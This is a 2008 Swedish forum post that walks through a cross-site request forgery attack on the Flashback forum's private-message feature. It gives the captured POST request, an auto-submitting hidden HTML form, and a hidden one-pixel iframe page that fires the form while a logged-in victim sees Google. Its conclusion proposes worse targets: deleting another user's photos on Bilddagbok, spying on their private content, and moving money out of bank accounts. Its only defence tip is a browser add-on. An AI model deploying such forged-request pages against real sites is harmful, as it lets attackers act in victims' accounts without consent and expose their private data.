2008-03-30, 16:07
#1
<obs>
<förbredelse>
<title>
<mål>
<tillvägagånssätt>
<slutsats>
<skydd>
Var ansvarig, och skyll inte på någon annan om du gör något dummt. Och bidrag med information och exempel, jag är ingen expert
<förbredelse>
Det finns många guider om CRSF, men tänkte visa ett praktiskt exempel , inget fjanteri. Grunderna finns överallt, sök på Google på CSRF
så hittar du mycket.
Dessa är en bra början:
http://www.digitalvenues.se/blogg/20...csrf-attacker/ // svenska
http://en.wikipedia.org/wiki/Cross-site_request_forgery //engelska
http://www.0x000000.com/?i=309 //engelska
<title>
Ett praktiskt exempel på CSRF.<sammandrag>
Detta är ett proof-of-concept på hur man hittar och utnyttjar CRSF hål.
Inget coolt eller värsta effekten men visar att även Flashback är sårbart för det.
<mål>
Jag vill skicka ett pm till någon men inte från mitt eget account, utan från någon annans användare, av skäl som man själv kan hitta på.
<tillvägagånssätt>
Så jag började med att skicka ett pm till mig själv och kollade hur det ser ut, samtidigt som jag hade en proxy (Paros) i "trap request" läge. Det går även bra med brup eller FF add-onet Tamperdata, eller något som kan "pausa" HTTP-requests.
Fick fram följande action och POST:
Kod:
http://www.flashback.info/private.php recipients=NICKtoSEND&title=asd&message=asd&wysiwyg=0&iconid=0&s=&do=insertpm&pmid=&forward=&sbutton=Skicka+inl%E4gg&savecopy=1&parseurl=1
Så jag benade upp det till en sida som man kan ladda i en iframe senare.
HTML-kod:
<html> <body> <form name="f" method="POST" action="http://www.flashback.info/private.php"> <input type="hidden" name="recipients" value="NICKtoSEND"> <input type="hidden" name="title" value="sdfsdfsdfsdf"> <input type="hidden" name="message" value="sdfsdfsdfsdf"> <input type="hidden" name="wysiwyg" value="0"> <input type="hidden" name="iconid" value="0"> <input type="hidden" name="s" value=""> <input type="hidden" name="do" value="insertpm"> <input type="hidden" name="pmid" value=""> <input type="hidden" name="forward" value=""> <input type="hidden" name="sbutton" value="Skicka+inlägg"> <input type="hidden" name="savecopy" value="1"> <input type="hidden" name="parseurl" value="1"> </form> <script>f.submit()</script> </body> </html>
Sedan så laddade jag sidan på följande vis.
HTML-kod:
<html> <body> <iframe src="skickapmFlash.htm" width="1" height="1" frameborder="0"></iframe> <iframe src="http://www.google.com" width="100%" height="100%" frameborder="0"></iframe> </body> </html>
Slängde upp båda sidorna på en webserver och besökte den som laddar iframen, samtidigt som jag är inloggad på FB.
Kollade min inbox och vips så hade jag ett nytt pm.
<slutsats>
Man kanske tycker att det inte är så stor fara eftersom man måste klicka/besöka en länk samtidigt som man är inloggad, och det är sant, det
här är inte gjort för någon spridning i wormklass utan för personligt bruk. Finns massor med folk som trycker på första bästa länk de får/ser.
Och just på FB så finns det inte så mycket som är intressant att göra.
Men gör det på någon Bilddagbok-användare, radera hans/hennes bilder, ändra dens presentation och lägga till sig själv annonymt på dens vänlista så att man kan kolla deras privata saker är kanske mer lockade. Eller föra över pengar från någons bankkonto när de klickar på en länk. Då börjar det bli allvar.
På Forum/communities har man oftast även fördelen att man kan se om användaren är online eller inte. =P.
Och ja, jag vet att jag inte beskrivit varenda steg så att en bäbis kan klara av det, utan bara det som räcker för en normal intelligent människa med små google-kunskaper.
<skydd>
Men är man smart så skyddar man sig själv genom att ha No-script add-on:et till FF installerat.
